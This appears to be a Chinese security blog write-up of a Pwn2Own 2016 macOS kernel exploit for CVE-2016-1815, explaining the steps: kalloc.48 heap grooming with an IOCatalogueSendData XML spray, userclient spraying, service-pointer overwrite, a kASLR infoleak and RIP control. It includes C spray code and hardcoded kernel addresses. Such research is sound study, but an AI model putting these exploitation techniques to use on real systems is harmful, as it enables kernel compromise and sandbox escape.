一个矩形pwn掉整个内核系列之一 – zone的舞蹈

一个矩形pwn掉整个内核系列之一 – zone的舞蹈

一个矩形pwn掉整个内核?这听起来很马德里不思议,然而这真实地发生在了今年3月份温哥华的Pwn2Own赛场。这一系列文章会向大家分享我们这次沙箱逃逸用到的Blitzard CVE-2016-1815的发现和利用经历。我们通过三步走最终完成了这个利用,本文将先问大家介绍第二和第三步 – kalloc.48的舞蹈kalloc.8192 重剑无锋,在最后一篇文章中,我们会回到本源,介绍这个漏洞的起因。

Take away

我们利用了一个vector的oob越界,通过精心的堆内存布局,将其转换为任意地址写但值受限的primitive,随后通过多次利用这个primitive实现infoleak来bypass KASLR和最终控制RIP。

IGVector::add函数

char __fastcall IGVector<rect_pair_t>::add(IGVector *this, rect_pair_t *a2)
{
  v3 =;
  if ( this->currentSize != this->capacity )
    goto LABEL_4;
  LOBYTE(v4) = IGVector<rect_pair_t>::grow(this, 2 * v3);
  if ( v4 )
LABEL_4:
    this->currentSize += 1;
    v5 =;
    *(this->storage +  32 * this->currentSize + 24) = a2->field_18; //rect2.len height
    *(this->storage +  32 * this->currentSize + 16) = a2->field_10; //rect2.y x
    *(this->storage +  32 * this->currentSize + 8) = a2->field_8; //rect1.len height
    *(this->storage +  32 * this->currentSize) = a2->field_0;  //rect1.y x
  }
  return v4;

IGVector是一个在苹果Graphics驱动中使用很频繁的泛型模版类,它的头部是currentSize field, 后面紧跟一个capacity field,记录着当前vector的最大容量。这个field之后是storage指针,代表着这个vector的存储区域的堆地址。 rect_pair_t则是一个矩形对,每个矩形唯一表达了屏幕上的某个绘制区域,他的field如下所示:

  • int16 x
  • int16 y
  • int16 w
  • int16 h

x,y代表了矩形角的坐标,而同时w,h代表了矩形的宽度和高度,这四个元素就可以在坐标系中惟一确定一个矩形。最开始的时候这些矩形是以整形的形式存在的,但经历了一系列缩放和切分运算后,其变换成了IEEE.754的浮点数。这些浮点数相关的运算给我们逆向驱动带来了一些困难,因为IDA的F5插件基本无法很好地识别和组织SSE浮点指令。同时这也限制了我们的OOB写可以控制的内容。

在这个OOB发生的时候,内存的布局如下图所示: OOB内存快照 可以发现,IGVector::add函数调用发生在一个部分越界的48-size IGVector上。但这里sizefield被钉死在0xdeadbeefdeadbeef,是因为kalloc.48比cacheline的大小要小,所以在free之后一定会被zone allocator所染色。所幸capacitystorage这两个是我们可以想办法控制的。如果能满足以下条件,那么我们就有了一个跨越全部地址空间的任意地址写。

条件1条件2条件3

但这里仍然不是一个写任意值的primitive。如前文所述,矩形的fields以signed int16形式存在,也就是说在[-0x8000, 0x7ffff]的范围之内。当触发OOB的函数被调用的时候,他们已经被处理成了IEEE.754的浮点数,也就意味着我们只能用这个primitive去触发四次连续的两个值在范围[0x3…, 0x4…., 0xc…., 0xd…., 0xbf800000]的4字节内容(其中0xbf800000是-1的浮点数表达)写,最终写掉了32bytes的内存内容。

看起来这个不是什么好消息,但是这里我们需要先想办法把这个不太好的写先稳定化,然后再来介绍如何用这个写完成最终的利用。

控制zone kalloc.48

如上面的图所示,我们需要精确地控制溢出发生时对应的内存内容,否则就会产生bad access导致内核崩溃。不幸的是kalloc.48刚好是一个内核中比较活跃的zone,其中IOMachPort是最大的活跃分子。不言自明的是,IOMachPort的内存内容并不是我们可以控制的,也就是说我们需要避免其的干扰。

纵观历史,人们常用的内存布局方法是用io_open_service_extendedool_msg去布局kernel堆。但是它们有各自的优缺点: – ool_msg对堆的副作用小,但是头部0x18字节的内容是不可控的,而我们这个漏洞刚好是需要头部0x8字节的精确8字节控制 – io_open_service_extended会在kalloc.48中造成巨大的副作用,因为我们每次实现堆喷时都会造成一个新的IOMachPort被分配

我们在这里发现并使用了一个新的堆喷方法:IOCatalogueSendData. 如下面的代码片段所示。只需一个masterPort即可实施堆喷,堆副作用小,非常节能和环保 🙂

IOCatalogueSendData(
        mach_port_t     _masterPort,
        uint32_t                flag,
        const char             *buffer,
        uint32_t                size )
{
//...
    kr = io_catalog_send_data( masterPort, flag,
                            (char *) buffer, size, &result );
//...
    if ((masterPort != MACH_PORT_NULL) && (masterPort != _masterPort))
    mach_port_deallocate(mach_task_self(), masterPort);
//...
}
/* Routine io_catalog_send_data */
kern_return_t is_io_catalog_send_data(
        mach_port_t     master_port,
        uint32_t                flag,
        io_buf_ptr_t        inData,
        mach_msg_type_number_t  inDataCount,
        kern_return_t *     result)
{
//...
    if (inData) {
//...
        kr = vm_map_copyout( kernel_map, &map_data, (vm_map_copy_t)inData);
        data = CAST_DOWN(vm_offset_t, map_data);
     // must return success after vm_map_copyout() succeeds
        if( inDataCount ) {
            obj = (OSObject *)OSUnserializeXML((const char *)data, inDataCount);
//...
    switch ( flag ) {
//...
        case kIOCatalogAddDrivers:
        case kIOCatalogAddDriversNoMatch: {
//...
                array = OSDynamicCast(OSArray, obj);
                if ( array ) {
                    if ( !gIOCatalogue->addDrivers( array ,
                                          flag == kIOCatalogAddDrivers) ) {
//...
            }
            break;
//...
}
bool IOCatalogue::addDrivers(
    OSArray * drivers,
    bool doNubMatching)
{
   //...
    while ( (object = iter->getNextObject()) ) {
        // xxx Deleted OSBundleModuleDemand check; will handle in other ways for SL
        OSDictionary * personality = OSDynamicCast(OSDictionary, object);
//...
        // Add driver personality to catalogue.
    OSArray * array = arrayForPersonality(personality);
    if (!array) addPersonality(personality);
    else
    {
        count = array->getCount();
        while (count--) {
        OSDictionary * driver;
        // Be sure not to double up on personalities.
        driver = (OSDictionary *)array->getObject(count);
//...
        if (personality->isEqualTo(driver)) {
            break;
        }
        }
        if (count >= 0) {
        // its a dup
        continue;
        }
        result = array->setObject(personality);
//...
    set->setObject(personality);
    }
//...
}

addDrivers函数接受满足以下条件的OSArray作为输入: – OSArray中包含了OSDictOSDict包含key IOProviderClassOSDict不能和已经存在于Catalogue的OSDict重复

我们可以以下面的XML格式去准备我们的布局payload,并通过IOCatalogueSendData(masterPort, 2, buf, 4096)去发送他们,想发送多少次就发送多少次 🙂

<array>
    <dict>
        <key>IOProviderClass</key>
        <string>ZZZZ</string>
        <key>ZZZZ</key>
        <array>
            <string>AAAAAAAAAAAAAAAAAAAAAA</string>
            <string>AAAAAAAAAAAAAAAAAAAAAB</string>
            ...
            <string>ZZZZZZZZZZZZZZZZZZZZZZ<string>
        </array>
    </dict>
</array>

有了这个方法之后,我们就有了在kalloc.48中玩耍的步骤了: – 喷射1个vm_map_copy和50个IOCatalogueSendData(内容我们完全可控)的组合,大小都是0x30 Step1 – 将1/3至2/3部分的ool_msg释放,在堆中挖坑 Step2 – 触发漏洞,让人掉坑里。 Step3 因为我们挖的坑足够多,堆的布局会趋向于稳定,有极大的概率满足我们的预期,允许我们实现稳定的和多次的任意地址写,完成三步走的第一步。

至于后面呢?

用一个float控制RIP

当我们有了一个稳定的write后,怎么去控制RIP?一个naive的想法是直接写掉userclient的虚表指针。但受漏洞本身写范围的限制,这是不可行的,如下图所示: wrong-overwrite 注意kernel中0xbf开头的地址空间是非法地址。

不过感谢x86中的mov指令并没有要求我们严格8字节对齐,事实上我们可以做一个4字节对齐的写,如下图所示: four-overwrite

看起来像那么回事了,但事情还没这么简单。在浩如烟海的userclient中,只有RootDomainUserClient的vtable指针地址高字节是0xffffff80,而其他的userclient vtable指针高地址都是在0xffffff7f,然而根据kASLR的特性kernel堆地址基本不可能占据这个区域。 那么去写掉RootDomainUserClient是否可行?

怎么喷的这么慢?

由于RootDomainUserClient大小比较小,我们需要喷射大量的该userclient来保证在某些预测的地址有比较大的概率userclient会布局在那。在实践的过程中我们发现喷射的速度随着userclient的个数增加而成二次方形式下降。我们调查了一些相关的代码,如下图所示: bt

bool IORegistryEntry::attachToParent( IORegistryEntry * parent,
1621                                 const IORegistryPlane * plane )
1622 {
1623     OSArray *  links;
1624     bool   ret;
1625     bool   needParent;
//...
1635     ret = makeLink( parent, kParentSetIndex, plane );
1636
1637     if( (links = parent->getChildSetReference( plane )))
1638    needParent = (false == arrayMember( links, this ));
1639     else
1640    needParent = true;
1641
//...
1669     if( needParent)
1670         ret &= parent->attachToChild( this, plane );
1671
1672     return( ret );

我们可以看到arrayMember对已经attach的client做线性查找,如果你上过学的话就应该意识到这是个O(N^2)的复杂度。

后面的代码让这个复杂度变得更加高了。当userclient被打开之前,他们要先attach到对应的parent上,这会调用到parent->attachTochild

bool IORegistryEntry::attachToChild( IORegistryEntry * child,
1684                                         const IORegistryPlane * plane )
1685 {
1686     OSArray *  links;
//...
1694
1695     ret = makeLink( child, kChildSetIndex, plane );
```
then
```
 bool IORegistryEntry::makeLink( IORegistryEntry * to,
1314                                 unsigned int relation,
1315                                 const IORegistryPlane * plane ) const
1316 {
1317     OSArray *  links;
1318     bool   result = false;
//...
1323    result = arrayMember( links, to );
1324    if( !result)
1325             result = links->setObject( to );
1326
1327     } else {

这里links是一个OSArray,而setObject将新的userclient插入到了array存储中,然后调用了一个耗时的函数:

unsigned int OSArray::ensureCapacity(unsigned int newCapacity)
185 {
//...
203     newArray = (const OSMetaClassBase **) kalloc_container(newSize);
204     if (newArray) {
205         oldSize = sizeof(const OSMetaClassBase *) * capacity;
206
207         OSCONTAINER_ACCUMSIZE(((size_t)newSize) - ((size_t)oldSize));
208
209         bcopy(array, newArray, oldSize);
210         bzero(&newArray[capacity], newSize - oldSize);
211         kfree(array, oldSize);
212         array = newArray;

diagram

那么这一圈看下来的结论是,喷射userclient具有O(N^2)的时间复杂度,这强迫我们要选用大的userclient进行堆喷,因为今年的比赛机型MacBook用的是可以忽略的CoreM处理器,会让exploit跑得比蜗牛还慢,如果我们还吊死在RootDomainUserClient这一棵树上的话。

IGAccelVideoContext来救场了

我们基于以下条件继续搜寻可以用的userclient: – 必须能从沙箱中打开和调用 – 大小必须大于PAGESIZE,越大越好

占据两个PAGE的IGAccelVideoContext正是我们所要寻找的救世主. 基本上所有的IOAcceleratorFamily2 userclient都有一个service指针指向IntelAccelerator,对于IGAccelVideoContext来说,在0x528的位置。我们可以写掉这个堆地址的低4字节来将其指向我们可控的堆内容上,触发其中的virtual call。 heap-overwrite

RIP control

虽然说这里有虚函数调用,但是我们不能直接去调用service的虚函数,因为前面提到vm_map_copy布置的内容头部是不可控的。这里context_finish接口在service->mEventMachine上间接调用了虚函数,刚好满足了我们的需求。

__int64 __fastcall IOAccelContext2::context_finish(IOAccelContext2 *this)
{
  int v1; // eax@1
  unsigned int v2; // ecx@1
  v1 = this->service->mEventMachine->vt->__ZN24IOAccelEventMachineFast219finishEventUnlockedEP12IOAccelEvent(
         this->service->mEventMachine,

那么现在我们调整方向,去写掉任一个IGAccelVideoContextservice field. 在对具体的堆地址一无所知的情况下,我们只好继续喷喷喷。具体的步骤如下: – 喷 0x50,000 ool_msgs, 把堆推高到0xffffff80 bf800000 (地址B) – 把中间的释放掉,喷IGAccelVideoContext, 保证中间地址A 0xffffff80 62388000 被其占据 – 触发漏洞,写A - 4 + 0x528, 将service指针写成0xffffff80 bf800000 (地址B) – 调用这些喷的userclient的externalmethod,检查corruption

为什么我们选择了A和B这两个看似是magic number的地址?前面我们提到,我们只能写特定范围内的float,举个例子我们可以把0xffffff80 deadbeef 写成 0xffffff80 3xxxxxxx, 0xffffff80 4xxxxxxx, 0xffffff80 cxxxxxxx, 0xffffff80 dxxxxxxx and 0xffffff80 bf800000. 但这么多地址里,要么就太低(kslide每次启动的时候会变化,高slide会把堆基地址推高到0xffffff80 4xxxxxxx),要么就太高(内存不够,喷太费时)。所以最终我们选择写0xbf800000,取一半就是A.

这部分步骤如下代码所示:

mach_msg_size_t size = 0x2000;
mach_port_name_t my_port[0x500];
memset(my_port, 0, 0x500 * sizeof(mach_port_name_t));
char *buf = malloc(size);
memset(buf, 0x41, size);
*(unsigned long *)(buf - 0x18 + 0x1230) = 0xffffff8062388000 - 0xd0 + 2;
*(unsigned long *)(buf - 0x18 + 0x230) = 0xffffff8062388000 - 0xd0 + 2;
for (int i = 0; i < 0x500; i++) {
    *(unsigned int *)buf = i;
    printf("number %x success with %x.\n",i , send_msg(buf, size, &my_port[i]));
}
for (int i = 0x130; i < 0x250; i++)
{
    read_kern_data(my_port[i]);
}
printf("press enter to fill in IOSurface2.\n");
io_service_t serv = open_service("IOAccelerator");
io_connect_t *deviceConn2;
deviceConn2 = malloc(0x12000 * sizeof(io_connect_t));
kern_return_t kernResult;
for (int i =0; i < 0x12000; i ++)
{
    kernResult = IOServiceOpen(serv, mach_task_self(), 0x100, &deviceConn2[i]);
    printf("%x with result %x.\n", i , kernResult);
}

overwrite-1 这张图会看得更清楚些。

那么这事情到这就结束了?还远远没有。

头部还是中间?

聪明的读者可能前面就会有问题了,你喷的是0x2000,凭啥保证A刚好在你喷的userclient头?可能会在中间嘛。

对的,确实是这样。如果落在中间的话,我们需要写掉 A - 4 + 0x528A - 4 + 0x528 + 0x1000来保证覆盖到两种情况。

Bypassing kASLR

kASLR怎么过? 现在我们知道地址A被IGAccelVideoContext覆盖,地址B被我们喷的vm_map_copy覆盖。既然我们已经让指针指向假的布局的userclient了,有没有什么接口可以返回一个userclient中某段地址的内容? 通过搜寻发现了get_hw_steppings

`\

__int64 __fastcall IGAccelVideoContext::get_hw_steppings(IGAccelVideoContext *a1, _DWORD *a2)
{
  __int64 service; // rax@1
  service = a1->service;
  *a2 = *(_DWORD *)(service + 0x1140);
  a2[1] = *(_DWORD *)(service + 0x1144);
  a2[2] = *(_DWORD *)(service + 0x1148);
  a2[3] = *(_DWORD *)(service + 0x114C);
  a2[4] = *(unsigned __int8 *)(*(_QWORD *)(service + 0x1288) + 0xD0LL);
  return 0LL;
}

`\

注意这行

`\

a24 = *(unsigned __int8 *)(*(_QWORD *)(service + 0x1288) + 0xD0LL);

`\ 回忆service+0x1288已经被我们所控制了,那么这就是一个完美的任意地址读的primitive。我们采取如下步骤: – 在B处填充vm_map_copy – 触发漏洞,覆盖service pointer指向B,意味着其指向了填充着0x4141414141414141的vm_map_copy(除了0x1288处设置为A-0xD0) – 调用get_hw_steppings来检测41414141,如果返回这个结果,那么这个userclient已经被我们修改了 – a24就返回了A地址的1个字节,重复以上步骤,读取全部内容

下图会让你理解得更清楚。 infoleak

又是头部还是中间

聪明的读者估计又会意识到,B可能也会掉落在vm_map_copy的中间,和A一样。 对于B的问题,和上文的解决方法一样,我们将0x1288和0x288都写成 A – 0xD0. 如果我们读的地方是 正常的IGAccelVideoContext 0x1000偏移处,那么根据其特性这里是0. middle

这意味着我们可以通过这个特征去区分头尾,最多两次尝试,如下图所示。 head tail 最终实现任意地址泄漏

总结

关于这个攻破的视频可以在http://v.qq.com/x/page/f0196p3g7vq.html 找到。

那么这个神奇的矩阵漏洞到底什么呢?利用都这么复杂了,漏洞究竟如何?请期待后续文章。如果等不急的话,请看我们在Blackhat USA上的PPT解馋 🙂

One thought on “一个矩形pwn掉整个内核系列之一 – zone的舞蹈

  1. Pingback: 一周信息安全干货分享(第75期) – Guge's blog

Leave a Reply

Your email address will not be published. Required fields are marked *